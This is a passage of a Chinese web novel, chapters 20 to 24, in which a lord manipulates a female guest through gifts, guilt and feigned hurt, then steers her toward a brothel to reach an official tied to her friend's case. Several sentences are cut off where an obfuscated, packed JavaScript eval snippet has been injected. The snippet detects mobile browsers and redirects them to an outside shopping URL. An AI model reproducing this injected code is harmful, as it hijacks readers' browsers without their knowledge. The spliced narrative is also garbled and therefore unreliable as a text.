是因为张嬷嬷那件事让她觉得委屈?还是她始终心心念念着要离慕容家更近一些,离林晏的痕迹更近一些? 一股混杂着被忤逆的愠怒,事情脱离掌控的烦躁,以及一种我尚未允许,你怎敢先走的绝对占有欲猛的窜起,几乎要冲垮容璟脸上惯常维持的温和面具。 他精心布网,耐心等待,看着姜于归在他的照顾下渐渐放松,甚至开始展露那不为人知的鲜活。他以为一切都在按他预设的轨道发展,他才是那个掌控节奏的猎手。 可转眼间,这只他看中的雀鸟,竟然扑棱着翅膀,试图飞离他精心编织的笼子? 20. 第 20 章 去找慕容府?去找那两个行将就木的老人?还是......想去守着她那虚无缥缈的,关于林晏的念想? 容璟的眸色一点点沉下去,如同暴风雨前积聚的浓云,深不见底,暗流汹涌。 不行。 他绝不允许。 盛京龙潭虎穴,她一个无依无靠的孤女,离了他的羽翼,能有什么好下场?那些肮脏的,觊觎的目光,那些吃人不吐骨头的算计......她根本应付不来。 他自动忽略了姜于归面对歹人冷静自持,用镯子击退歹人的事实,那在他眼里,不过是侥幸,是林晏留下的,如今已经失效的余荫。 更重要的是......他尚未把姜于归完全解析透彻,尚未将她身上所有林晏的印记覆盖干净,尚未让她的喜怒哀乐皆因他而起落。 这个独一无二的,闪烁着矛盾光芒的标本,他刚刚触及其迷人的边缘,岂容她此刻脱手? 她怎么能走? 强留的念头如同藤蔓般疯狂滋长,缠绕住他的理智。 但他终究是容璟,是那个习惯了谋定而后动,善于用最完美表象达成最隐秘目的的荣国公世子。 直接撕破脸?那太难看,也太低级。 他要姜于归心甘情愿地留下,要她主动打消离开的念头,要她对他心怀更多的感激和愧疚。 暴怒与冷厉在他眼底翻腾,最终却被强行压下,沉淀为一片更深的,危险的幽暗。 他没有立刻动作,甚至没有在姜于归面前表露分毫。他只是挥退了暗卫,独自在书房坐了许久,直到窗外的天色渐渐暗淡。 然后,他唤来了管家。 姜于归从外面回来,心中还在默默计算着今日看的那处小院的优缺点,以及自己那点可怜的积蓄该如何分配。 刚回到客院不久,就有几名丫鬟捧着几个精致的托盘鱼贯而入。 “姜姑娘,这是世子命人给您送来的新衣,年节将至,府中上下都添新衣,这是给您准备的份例。”为首的丫鬟笑语盈盈的说着。 姜于归怔住了,看着那些被小心放置在桌上的衣物。 料子是上好的杭绸,光滑如水,触手生温。颜色是清雅的藕色与月白,不像正红那般夺目,也不似靛蓝那般沉郁,正合她这个年纪,既显气质,又不张扬。样式也是如今上京官家小姐间流行的款式,简洁大方,细节处却可见精致。 这一身行头,分明是精心挑选过的。 既不会显得华丽招摇,引人侧目,也不会显得过分寒酸,失了体面。 正好符合一个出门时不坐马车,不乘轿子,想要独自行走,却又有些身份的千金小姐的定位。 太合适了,合适得让她心惊。 可是,无功不受禄。 她住在这里,白吃白喝,已经给容璟添了天大的麻烦,如何还能收下如此贵重的礼物? 姜于归正斟酌着言辞,想要找个合适的理由婉拒,院门外却传来了熟悉的,清润温和的嗓音。 “衣服可还合心意?” 姜于归抬头,便见容璟不知何时已站在了门口。 冬日稀薄的阳光在容璟身后勾勒出挺拔的身影,光影将他本就出色的容貌映照得愈发清俊不凡。他语气温和,嘴角噙着浅笑,但那目光,却带着一种不容置疑的力量。 姜于归看了一眼那些新衣,有些为难的开口:“世子,这些衣服太贵重了,我......” 容璟目光扫过那些新衣,最后落在姜于归略显局促的脸上:“姜姑娘还是收下吧。” 容璟打断她,迈步走了进来,目光扫过那些衣物,语气自然却又带着一种将她所有退路都堵死的笃定。 “一来,这是为张嬷嬷之前的冒犯,我作为主人,向你表达的歉意。二来,也是我思虑不周,让你客居于此多时,却一直让你穿着旧衣,是我招待不周。这三来嘛......年节将至,新年自该穿新衣,图个吉利喜庆。你若是不受,那便是还没有原谅我当日的处置,或者......是仍在怪我招待不周,心中存了芥蒂了?” 这一番话,层层递进,合情合理,更是将一顶不原谅,存芥蒂的大帽子扣了下来。 姜于归所有准备好的推拒之词,都被堵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868613|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了喉咙里,一个字也说不出来。 姜于归若再坚持推辞,反倒显得她小气计较,不识好歹,枉费了容璟的一片心意。 她看着容璟那看似坦诚温和,实则不容反驳的眼神,心底深处那丝想要逃离的不自在感,似乎又清晰了几分。 但此刻,她只能低下头,轻声道:“世子言重了,于归......多谢世子厚赠。” 容璟脸上的笑意加深了些许,仿佛很满意她的懂事。 “那便去试试吧,看看是否合身,若有不合适之处,也好立刻让绣娘修改。” 他语气随意,却带着安排一切的理所当然。 姜于归刚想说不必麻烦,容璟却已抬手指向了不知何时已候在门外的绣娘。 无奈,她只得捧起那套藕色的新衣,转入内室更换。 当她再次走出来时,容璟的目光在她身上停留了一瞬。 新衣裁剪得极其合身,即便是冬日厚重的衣料,也恰到好处地勾勒出她纤细的腰肢和玲珑的身段。藕色清雅,更衬得她肤色白皙如玉,眉眼如画。她就那样站在那里,仿佛一株悄然绽放的空谷幽兰,带着一种洗净铅华的清丽之美。 但是容璟那眼神不像是在看一个人,倒像是在欣赏一件刚刚被擦拭干净,摆回正确位置的藏品。 看,这才是她应有的样子,在他提供的华美框架里,绽放出更夺目的光彩。仿佛一件珍贵的艺术品,终于被他换上更符合他审美的外框,这让他产生了一种近乎造物主般的愉悦。 “很合适。”容璟微笑着说,每个字都轻飘飘的,却带着不容置疑的重量。 然而下一秒,他的目光落在了姜于归手腕上那个古朴的银镯子上。 一道刺眼的瑕疵,林晏留下的痕迹,像画作上一个无法去除的陈旧霉点,破坏着整体的和谐。 一种必须将其清除的强烈冲动,在他心中冰冷地升起。 他声音依旧维持着温和,仿佛只是随口一提,带着不经意的挑剔:“衣裳倒是极合身,衬得姜姑娘气质出尘。只是......这镯子的样式,与这身衣服似乎不太相称。” 21. 第 21 章 随后又顿了顿,语气自然地接下去,假装不知情地提议:“年节将至,也该添些时新的首饰搭配,我库房里似乎有几件......” “多谢世子好意!” 容璟的话尚未说完,姜于归却像是被触碰到了什么最珍视的东西,几乎是下意识地抬手,捂住了左手腕上的镯子。 她抬起脸,脸上不受控制地浮现出一抹混合着甜蜜与深切思念的温柔笑意,打断了他:“只是这个镯子......是林晏送给我的,虽不名贵,但于我而言,意义非凡,很珍贵。” 林晏。 珍贵。 这两个词,像两根烧红的钢针,精准无比地,狠狠地刺入了容璟的神经! 他看着她脸上因为提及另一个男人而绽放的,毫无防备的,全然信赖的温柔笑容,一股强烈到几乎无法压抑的暴戾冲动,在他胸腔里疯狂地冲撞,翻腾! 珍贵? 有什么珍贵! 不过是一个已经被耗尽了暗器,徒有其表,毫无作用,甚至影响她这一身完美打扮的丑陋东西! 他的眸光瞬间深沉得如同不见底的寒潭,视线不受控制地扫过姜于归的衣领处。 他记得,在天牢外偷听时,姜于归曾对林晏说,想过要卖掉玉佩...... 那是不是意味着,她脖子上,还戴着林晏送的另一件信物——那块玉佩? 一股久违的,几乎要失控的怒火,混合着一种蛮横的,想要摧毁一切的占有欲,如同火山喷发般在他心底轰然炸响! 他想立刻将她手腕上那个碍眼的镯子扯下来扔掉!他想将她身上所有属于林晏的印记都彻底清除,抹去!他想让她眼里,心里,再也找不到一丝一毫关于那个男人的影子! 这种强烈到近乎蛮横的情绪,来得如此汹涌,如此不受控制,连他自己都感到一丝心惊。 他猛然警觉,在他自以为冷静的操控着姜于归的情绪,看着她因自己的言语而怀疑,动摇,愧疚时,他自己,竟也在不知不觉间,被这个女子的言行如此深刻地牵动着情绪! 他甚至有些失心疯了一般的想,如果他能亲手抹去林晏的所有痕迹,让那双清澈的眼睛里映出的崇拜与温柔,只源于他的恩赐,那该是多么完美的实验成果? 这念头让他感到危险,却又带着一种验证自身掌控力的极致诱惑。 容璟用力攥紧了袖中的手,指甲深深陷入掌心,利用那细微的刺痛,强压下眼底几乎要汹涌而出的暗流风暴。 他面上,依旧是那副无懈可击的温润模样,只是唇角那抹笑意,略微淡了些许:“原来如此。” 容璟淡淡地应了一声,声音平稳得听不出丝毫波澜,仿佛刚才的提议真的只是随口一说:“既是故人所赠,意义自然不同。” 他不再提首饰之事,巧妙地绕开了这个话题。 可他心中,那场因她而起的无风风暴,已经悄然降临,并且,绝不会轻易平息。 他的目光,再一次不受控制地落在姜于归身上,落在那个碍眼的镯子上。 他不想,也不愿去深究心底那陌生的,汹涌的异样感觉究竟从何而来。他试图用自己熟悉的,基于利益和掌控的逻辑来说服自己。 是因为那镯子和这身衣服不搭配。 仅仅是因为不搭配。 是它破坏了他想要的,视觉上的和谐与完美。 仅此而已。 这只是关乎他的审美,关乎荣国公府的待客体面与格调。 而他,仅仅只是,不喜欢这种不协调的感觉罢了。 他如此告诉自己,一遍,又一遍。 姜于归最终还是收下了容璟送的新衣,并且,在接下来的日子里,她也确实穿在了身上。 一方面是无法推拒,另一方面,这衣服确实舒适得体。 她依旧会出门,去慕容府探望,也......依旧会悄悄地去牙行打听,去看那些或简陋或昂贵的小院。 直到那一日。 姜于归刚从牙行出来,心里盘算着另一处房源的信息,一抬头,却恰好撞见了一道熟悉的身影。 容璟正站在不远处的街角,似乎也是刚从什么地方出来,身边只跟着长青一人。他目光平静地望过来,恰好与她的视线在空中相遇。 姜于归的心猛地一跳,有种做坏事被当场抓包的慌乱。 容璟脸上却露出一丝恰到好处的意外,随即化为温煦的笑容,缓步向她走来。 “姜姑娘,真巧。” 他语气温和,目光在她身上那件他赠送的月白新衣上停留一瞬,带着欣赏,随即状似无意地扫了一眼她身后的牙行招牌,语气自然地问道:“又来探望慕容二老?真是有心了。” 姜于归脸颊微热,含糊地应了一声:“嗯......是,正要过去。” 容璟点了点头,却没有立刻离开的意思。 他沉默了片刻,目光重新落回姜于归脸上,那温和的眼底,似乎染上了一丝不易察觉的......黯淡与困惑。 “姜姑娘。” 容璟开口,声音依旧清润,却仿佛带上了一点若有似无的迟疑和伤心? “我见你近日似乎时常外出,神色间......可是在府里住着,有什么不开心之处?” 他微微蹙眉,语气变得有些小心翼翼,甚至带着点自我怀疑:“莫非......还是因为上次张嬷嬷之事,心中仍有芥蒂,觉得我处置不当,让你......寒心了?” 姜于归万万没想到容璟会如此直接,又用这样一种近乎低落的语气问出这个问题。她瞬间慌了神,连忙摆手解释:“不不不!没世子您误会了!绝对没有!张嬷嬷之事,世子处置得合情合理,于归从未觉得寒心,也绝无半点责怪之意!” 容璟看着她,眼神里的困惑更深,那抹伤心也似乎更明显了些:“那为何我总觉得,姜姑娘似乎在筹划着什么,想要......离开国公府?” 他轻轻叹了口气,那叹息声很轻,却像一块石头砸在姜于归心上。 “是我哪里招待不周吗?还是府中下人伺候得不用心?若真有,姜姑娘但说无妨,我定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868614|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当严加管束。” 容璟的语气诚恳至极,带着一种因无法让客人满意而产生的淡淡失落与自责。 “我受林晏所托,答应要好好照顾你,可如今,却让你生出了去意......这若传出去,岂非是我容潜玉无能,连好友所托之人都照料不好?这让我......将来还有何颜面去见林晏?” 容璟叹息着,又一次精准地抬出了慕容林晏,抬出了承诺,抬出了颜面。 姜于归看着他脸上那毫不作伪的失落与自责,再听到容璟提及林晏,心中顿时被巨大的愧疚感淹没。 她只想着自己的不自在,想着离开,却从未站在容璟的角度想过。 他如此尽心尽力地照顾她,她却暗中筹划离开,这岂不是在打他的脸?岂不是在说他招待不周?岂不是让他无法向狱中的林晏交代? 她怎么能如此自私,如此忘恩负义? 姜于归急得眼眶都有些发红,声音带着急切:“不是的!世子,您真的误会了!世子待我极好,府中上下也无不周到!我......我绝无此意!我怎么会觉得世子招待不周呢?” “那你近日频繁出入牙行......”容璟看着她,目光清澈,带着寻求真相的执着。 姜于归语塞,大脑飞速运转,在巨大的愧疚和急于解释的冲动下,一个借口脱口而出:“我......我是想看看盛京的铺面和宅子的行情!我以前在清溪镇开了一家十里香酒肆,我是想着......等林晏出来以后,或许我会在盛京定居,我......我想着或许能重操旧业,开一家酒肆。所以先来了解下地段和租金而已!绝无想要立刻搬走的意思!” 姜于归说完,心脏砰砰直跳,不敢看容璟的眼睛。 容璟静静地看了她片刻,那双深邃的眸子里,各种情绪翻涌,最终,都化为了一片了然的,带着些许无奈和纵容的温和。 他轻轻吁了口气,仿佛心头一块大石落地,脸上重新露出了春风化雨般的笑容。 容璟点了点头,语气恢复了以往的从容:“原来如此。姜姑娘有如此打算,未雨绸缪,是好事。看来倒是我多心了,还以为是自己哪里做得不好,惹得姑娘生厌,这才想要离去。” 他这番话说得轻松,却像最柔软的鞭子,再次抽打在姜于归的愧疚之心上。 “怎么会!世子您千万别这么说!是于归考虑不周,让世子误会了!” 姜于归连忙保证:“我暂时......绝不会搬走的!一定会安心住在府中,不给世子添乱!” “如此便好。”容璟笑容温润,目光扫过她焦急的脸庞,最终满意地定格在她因急切而微微泛红的眼眶上。 他信了姜于归的说辞。 或者说——他得到了他想要的结果。 姜于归亲口承诺,暂时——不,是绝不会搬走。 至于开酒肆......那不过是遥远未来的一个念头罢了。 只要她人还在他的府里,在他的掌控之下,那些虚无缥缈的计划,他有的是办法让她无限期地搁置下去。 22. 第 22 章 这句话很轻,落在寂静的书房里,却又像是一颗投入古井的死水石子,在这静谧而压抑的环境中,清晰的荡漾开无数圈看不见的涟漪。 这场看似偶然的街头相遇,这场由他主导的,以退为进的对话,成功的将他察觉她欲离开的危机,化解于无形,并且,更进一步的将她束缚于恩情与愧疚编织的罗网之中。 容璟看着眼前因为愧疚而显得更加乖顺的姜于归,心底那口因她欲离开而郁结的怒气,终于缓缓散去,取而代之的,是一种计划得逞的,深沉的满足。 猎物还在网中,并且,因为这次小小的挣扎,那网的缠绕,似乎更紧了些。 他微微一笑,语气愈发温和:“外面天冷,我送姜姑娘回府吧。” 想搬出去的念头就此被打住,姜于归只能认命的继续住在国公府的客院。 去了慕容府这么多次,林晏的祖父母也在满心伤心的情绪中试探性的问了姜于归好多次关于林晏的事情,姜于归都恪守容璟的提醒,没有多说,怕惹得两位老人更加伤心。 可是姜于归也很想知道林晏的消息,尤其是距离上次看望林晏,也已经过去半月时间了。 这日雪后初晴,园中积雪未融,在阳光下闪着细碎的金光。姜于归踩着清扫出的小径,再次来到了容璟的书房外。 她站在门前,深吸了一口气,才轻轻叩响了门扉。 “进来。”容璟清润的声音从内传来。 姜于归推门而入,只见容璟正临窗而立,手中拿着一小碟鱼食,漫不经心的喂着窗外池中锦鲤。 冬日阳光为他周身镀上一层浅金,侧颜如玉,气质温雅,仿佛画中走出的谪仙。 “世子。”姜于归福身行礼。 容璟并未回头,依旧看着窗外争食的鱼群,语气温和:“姜姑娘今日前来,所为何事?” 姜于归抿了抿唇,压下心中的忐忑,开口道:“世子,其实我想问问......关于林晏的案子,可有什么新进展了吗?” 撒鱼食的动作几不可查的顿了一下,容璟没有立刻回答,只是看着鱼儿在水面下翻腾抢食的场景。 满满的,他才将手中剩余的鱼食全都撒了下去,看着水中鱼儿因这突如其来的丰盛饵料而激烈争抢,水面被搅得混乱一片,涟漪四散。 他转过身来,正对着姜于归,阳光在他身后形成光晕,让他俊美的面容显得有些模糊。 “姜姑娘对林晏,当真是情深义重。” 容璟开口,声音温和依旧,但那语调平直得没有一丝起伏,像是在陈述一个与己无关的事实。 姜于归的心微微一紧,觉得这话听起来有些怪异,但此刻她更关心案子的消息。 容璟将手中那个精致的陶瓷鱼食盒缓缓放下,发出轻微的“哒——”的一声。 他拖长了语调,目光落在姜于归因急切而微微前倾的身子上:“进展嘛......确实听到一点儿风声。 姜于归立刻追问,眼中带着急切的光:“什么风声?” 容璟开口,声音比刚才低了几分,带着一种不容错辨的警示,像是一块冰投入心湖。 “姜姑娘!你可知道,有些门一旦推开了,就再难回头,有些路一旦踏上,可能就是万丈深渊,粉身碎骨。” 容璟的目光锐利,如同最精细的解剖刀,不放过姜于归脸上任何一丝细微的表情变化。 “我答应过林晏要好好照顾你,保你平安。你去慕容府看望他的祖父母,送上关怀,已经是你力所能及,最恰当不过的心意。而你现在......却想要深入了解林晏背后的案子?” 他微微前倾,压迫感更强了几分:“那背后牵扯的,是盘根错节的利益网络,是能轻易将人碾碎,尸骨无存的权势争斗。你一个弱女子,无亲无故,无依无靠,确定要卷进来?现在转身离开,安稳度日,还来得及。” 他的话语听起来像是劝诫,但每个字都经过精心打磨,既描绘出足够恐怖的后果,又留下了一丝令人心痒的缝隙。 仿佛在说,我知道秘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868615|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密,但我怀疑你承受不起。 这不是保护,而是一场针对她意志力的压力测试。 他想知道,这株看似柔弱的兰草,在真正的风暴面前,是会折断,还是会......展现出更意想不到的韧性? 而姜于归也在容璟这番冰冷而现实的描述中,感到了真实的恐惧。那恐惧像是冰冷的藤蔓,从脚底悄然缠绕而上,勒得她几乎喘不过气。 她看着容璟眼底那抹深藏的,近乎残酷的冷静和......一丝不易察觉的探究。 那不是在担心她,更像是在等待一个答案,一个能印证他某个想法的答案。他在试探她的决心,或者说,他在欣赏她的恐惧和挣扎。 这个认知让姜于归的手不自觉的拽紧了袖子,指甲深深陷入掌心,那点儿尖锐的刺痛强迫她冷静下来。 林晏在牢中苍白却依旧温和的脸,他祖父母强忍悲痛,含泪期盼的眼,都在她眼前交替浮现。 容璟的话确实没错,她力量薄弱,如同蝼蚁,卷入权势争斗,实在是不自量力,可能真的会粉身碎骨。 可是,力量薄弱,就不配去尝试了吗? 因为预见到可能的失败,就连尝试的勇气都没有了吗?就心安理得的接受无能为力,然后躲在安全的地方,等待着别人来决定林晏的生死? 一种带着绝望和不甘的微弱勇气在她心底翻滚,积聚。 她知道自己的行为可能真的如同螳臂当车,愚蠢而徒劳,可能会付出难以想象的代价,但是......她还是想试试!哪怕只能推动一点点,哪怕只能多了解一点点真相! 姜于归深呼吸一口气,那气息带着冬日特有的寒冷与湿润,涌入肺腑。 她抬起眼眸,尽管嘴唇还在因为紧张而微微颤抖,但是她的眼神已经变得坚定,像是雪地里顽强燃烧的,永远不会熄灭的微弱火苗。 “我......” 姜于归的声音初时有些发颤,但很快稳定下来,带着一种破釜沉舟的决绝:“我想去试试!” 23. 第 23 章 容璟静静的注视着她,唇角缓缓勾起一个极浅的弧度。 不是欣慰,不是赞赏,而是实验室里终于观察到预期反应时的了然的愉悦。 “很好。” 他轻声说,这两个字轻得像叹息,却又带着金属般的质感。 鱼儿终于咬钩了,而且比他预期的还要坚决。 这场实验,进入了更有趣的阶段。 容璟深邃的眼底,有什么东西极快的掠过,快得让人抓不住。 “当真想好了?”他声音极轻的重复了一遍,语调平平,听不出任何情绪,仿佛只是在确认一个无关紧要的事实。 “是!”姜于归再次回应,这一次,更加清晰,更加坚定。 “唰——”的一声,容璟忽然抬手,将旁边小几上那个陶瓷鱼食盒里剩余的鱼食,尽数倾倒入水中! 原本只是簇拥争食的锦鲤瞬间疯狂起来,在水下激烈的翻腾,冲撞,撕咬,水花四溅,原本平静的水面一片混乱,如同沸腾。 他低头,垂眸看着水中因为这些鱼饵而丑态百出,失去所有优雅从容的鱼群,唇边勾起一抹极淡,极冷的弧度,却又转瞬即逝,快得仿佛是光影造成的错觉。 当他再次抬起头时,脸上依旧没什么明显的表情,但是那双总是蕴着温润笑意的眼睛,似乎有什么东西沉淀了下来,变得幽深难测,如同不见底的寒潭。 “好。”容璟吐出一个字,干净利落,不再带着任何劝阻或温度。 “户部郎中——陈迁。” 容璟清晰的报出一个名字,语气平稳得像是在念一个无关紧要的公文:“他的手中,扣着几样......能要人命的东西。” 说罢,容璟向前迈了半步,两人之间的距离瞬间拉近,他身上那股清冷的,带着压迫感的气息几乎将姜于归笼罩。 他微微低头,声音压得更低,如同暗夜中毒蛇吐信,带着一种冰冷的诱惑与危险。 “兵部与边疆数额严重不符的军饷勘合,掺了沙土却以次充好的漕粮货单,还有经办人私下留下的,暗示上头有人授意做假账的......私印拓本......” 每一个词,都像是一块沉重而冰冷的巨石,狠狠砸进姜于归的心上,让她呼吸一窒。 她虽然不完全懂得这些官场术语背后的全部含义,却也瞬间明白了这些东西的分量和致命性。 身为户部给事中的林晏,就是因为查到了这些,触及了某些人的根本利益,所以才被诬陷下狱的吗? 姜于归在心中反复默念着陈迁这个名字,仿佛要将其刻入骨髓。 她强迫自己冷静思考,随后抬起头,带着一丝希冀开口:“那若是我前去拜见,可否......” “拜见?” 容璟像是听到了什么有趣的事情,极轻的笑了一下,那笑声里带着毫不掩饰的讥诮。 “姜姑娘莫看陈迁的官职不高,只是个五品郎中,但此人心思缜密,嗅觉敏锐。眼下这个关头,只要稍微有心之人,都能察觉出他手里握着很多让人睡不着觉的东西。他现在是惊弓之鸟,疑神疑鬼,谁的明面儿上的帖子,他都不敢见,也不会见。” “那......那我要怎么才能见到他?”姜于归的心沉了下去。 “也不是完全没有办法。” 容璟直起身,目光依旧锁着她,语气恢复了那种看似客观的分析:“有些地方鱼龙混杂,人多眼杂,反而最能掩人耳目。尤其是......年节之际,六部封印,官员们难得的松懈之时。能让这位终日紧绷的陈大人放下戒备,消除紧张不安的地方,莫过于——风月之地。” 他的话音不高,甚至还带着一点漫不经心,但这几句话,却像一道惊雷,猝然在姜于归的耳边炸开,震得她耳膜嗡嗡作响。 说话间,容璟的目光一直紧盯着姜于归,不放过她脸上任何一丝细微的变化。 风月...... 这个词如同淬了冰的锥子,猛然刺入姜于归的耳中,带来一阵尖锐的刺痛和寒意。 即便她来自现代,灵魂比这个时代的大多数女子要大胆和豁达许多,骤然听到这样直白而残酷的暗示,心里也还是涌起了巨大的震惊和本能的羞耻。 她的脑中不受控制的闪过一些模糊不堪的画面,那是她前世在影视剧和小说里得到的,关于古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868616|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代风月场所的零碎认知——歌舞笙箫,酒色财气,男女调笑,甚至更不堪入目的场景...... 那不是普通的酒楼茶肆,那是男子寻欢作乐,女子强颜欢笑,出卖色相的地方。 想到这里,姜于归脸颊上最后一点血色也瞬间褪去,变得苍白如纸。 她下意识的后退了半步,手指紧紧攥住了袖口,冰凉的指尖透过衣料传来刺骨的寒意。 他......他是在暗示她,去那种地方......用那种可能牺牲色相的方式......去换取消息? 不行!绝对不能去! 心底有个声音在疯狂的尖叫,那种地方鱼龙混杂,肮脏不堪,万一...... 容璟将她瞬间的震惊,抗拒与恐惧尽收眼底,他并没有催促,反而好整以暇的再次拿起那块素净的丝帕,慢条斯理的擦拭着刚才拈过鱼食的,修长干净的手指,一根一根,擦得极其仔细,专注,仿佛在完成一件极其重要的仪式。 “当然!” 容璟抬起眼,目光平静无波,仿佛刚才那些惊世骇俗的话只是最寻常不过的建议,与他擦拭手指的动作一样理所当然。 “此事关乎姑娘清誉,强求不得。我也只是将目前打听到的,唯一可能接触到陈迁的门路,如实告知姑娘。如何抉择,全在姑娘自己。” 他将选择权,轻飘飘的,却又沉重万分的抛回给了姜于归。 他看着姜于归站在那里,单薄的身影在雪光映照下微微发抖,像一枝在寒风中不堪重负,即将折断的芦苇。 心底某种隐秘的,黑暗的,连他自己都不愿深究的欲望,在这一刻得到了些许扭曲的满足。 他想知道,这份所谓的,能让她千里迢迢奔赴上京的真情,在面临自身尊严可能被践踏,清誉可能被玷污的风险时,能坚持到哪一步? 是会像这世上大多数口口声声说着深情的人一样,在现实和风险面前退缩,保全自身?还是会......为了那渺茫的希望,真的敢踏出那一步,踏入那污浊之地? 容璟想知道,姜于归的情有多深?或者说——她的底线在哪里? 他很期待。 24. 第 24 章 姜于归的脑中一片混乱,各种念头疯狂冲撞。强烈的怯意和自我保护的本能,让她几乎就要脱口而出那个不字。 可就在退缩的念头即将占据上风的瞬间,另一个更强大的力量——那份对林晏的担忧,那份不愿坐视不管的道义,又让她死死的闭紧了嘴。 姜于归,冷静!她在心里厉声告诫自己。 她强迫自己又深呼吸了一口气,那空气带着池塘边的湿润和寒冷,涌入胸腔,让她混乱的思绪稍微清晰了一些。 电光火石间,心头已经飞速的将利弊权衡了一番。 一来,这是她主动开口问的,是她执意要探寻案子的进展。而容璟,已经把所有的风险,所有的丑恶可能性,都摆在了她的面前,是他口中的丑话说在前头。是她自己,在被告知了万丈深渊后,依然坚持要踏进去,寻找那一条可能根本不存在的生路。 若是她现在露出怯意,转身退缩,岂不是显得她既无担当,又反复无常?之前所有的坚持都成了笑话。 二来,容璟的态度看似给予选择,实则是一种冰冷的审视。若是她此刻退缩,会不会因此触怒了他,让他觉得她如此优柔寡断,不堪重用,甚至因此迁怒,对林晏的事情开始冷待,不再尽力周旋?那她岂不是害了林晏? 三来,她只是去打探消息,又不是真的要去卖身。只要她目的明确,守住底线,小心谨慎,随机应变,想来......应该不会有事吧? 姜于归不断在心里安慰自己,试图压下那强烈的不安。 最后,也是最重要的,那就是想起牢里林晏那双依旧温和却带着疲惫的眼睛,想起他祖父母那绝望中又带着一丝期盼的眼神。 其实,当她知道林晏真实身份是钦差大臣,是慕容氏的公子时,心里就很明白,在这个等级森严的时代,他们之间的身份地位差距如同天堑,未来的可能性已经微乎其微了。 可是,未来就算做不成恋人,那也还是朋友,是曾经真心相待,给予过她温暖和帮助的人。 姜于归没办法明知有一线希望,却因为畏惧风险而见死不救,独自躲在安全的地方苟安。 而眼前,容璟指出了一条可能的路,哪怕这条路布满荆棘,肮脏不堪,她也......不想就此放弃。 各种念头如电光火石般在脑中激烈交锋,恐惧与勇气在拉锯。 最终,姜于归狠狠一咬下唇,那细微的刺痛让她彻底镇定下来。 她再次抬眸时,眼中的惊慌和挣扎已经消散,取而代之的是一种近乎悲壮的冷静和坚韧。 姜于归的声音平稳,听不出太多情绪:“我明白了,多谢世子指点。不知世子......何时方便?能否......帮忙安排?” 虽然经历了犹豫和恐惧,但最后的决定,还是选择了踏入这潭浑水。 没有哭诉,没有愚蠢的追问细节,只是在冷静的思索了一番利弊和后果后,接受了这个最坏的可能性,并试图寻找实践的方法。 这份超出预期的镇定和决绝,反倒让容璟眼中那抹玩味的,等待她崩溃或哀求的期待,微微凝滞了,实验出现了计划外的变量。 姜于归比预想的更坚韧,这非但没有让他失望,反而让这场观察变得更加......值得记录。 很好。 容璟在心中冷嗤,面上却不露分毫。 这游戏,果然比他预想的,还要有趣得多。 他倒要看看,这份勇气,能支撑她走到哪一步。 容璟静静的注视着她,眼底掠过一丝计量般的精光,随即转身,率先向外走去,衣袂拂过微凉的空气:“这里不是说这些细节的地方,随我去那边的水榭吧。” 去了水榭,水榭内茶香袅袅,容璟指尖在青瓷杯沿轻轻摩擦,听着姜于归愿意一试的表态,他语气平和道:“陈迁此人眼界颇高,寻常侍女只怕近不得身。需得是......才艺出众的女子,才有机会引起他的注意。“ 说话间,容璟的目光落在姜于归的身上,那眼神平静无波,却让姜于归感觉自己像是一件待价而沽的物品,正在被仔细评估每一分价值。 “不知姜姑娘,可会些什么?“ 姜于归心下一紧,她猜到容璟会有此一问。 乐器方面,琵琶是她最有把握的,前世学了十几年,童子功扎实。 可若是一开始就亮出底牌,万一后续没有转圜的余地...... 于是姜于归抿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 